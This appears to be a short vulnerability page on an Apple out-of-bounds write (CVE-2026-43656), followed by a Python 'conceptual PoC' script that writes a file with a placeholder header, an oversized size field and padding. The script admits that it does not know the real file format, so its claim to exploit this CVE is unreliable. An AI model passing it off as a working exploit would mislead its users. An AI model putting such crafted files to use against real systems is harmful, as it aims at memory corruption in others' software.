CVE-2026-43656 Apple产品越界写入漏洞

import struct # Conceptual PoC for CVE-2026-43656 (Out-of-bounds Write) # This script generates a crafted file designed to trigger the parsing vulnerability. # Note: Actual file format depends on the specific vulnerable component. def craft_malicious_file(filename): with open(filename, 'wb') as f: # Generic header placeholder f.write(b'\x00\x01\x02\x03') # Malicious payload: An overly large size field # intended to cause an out-of-bounds write during parsing. # Assuming the parser expects a 4-byte integer for size. malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Padding to reach the specific offset where the write occurs f.write(b'A' * 64) print(f"[+] Malicious file '{filename}' created successfully.") if __name__ == "__main__": craft_malicious_file("exploit_cve_2026_43656.bin")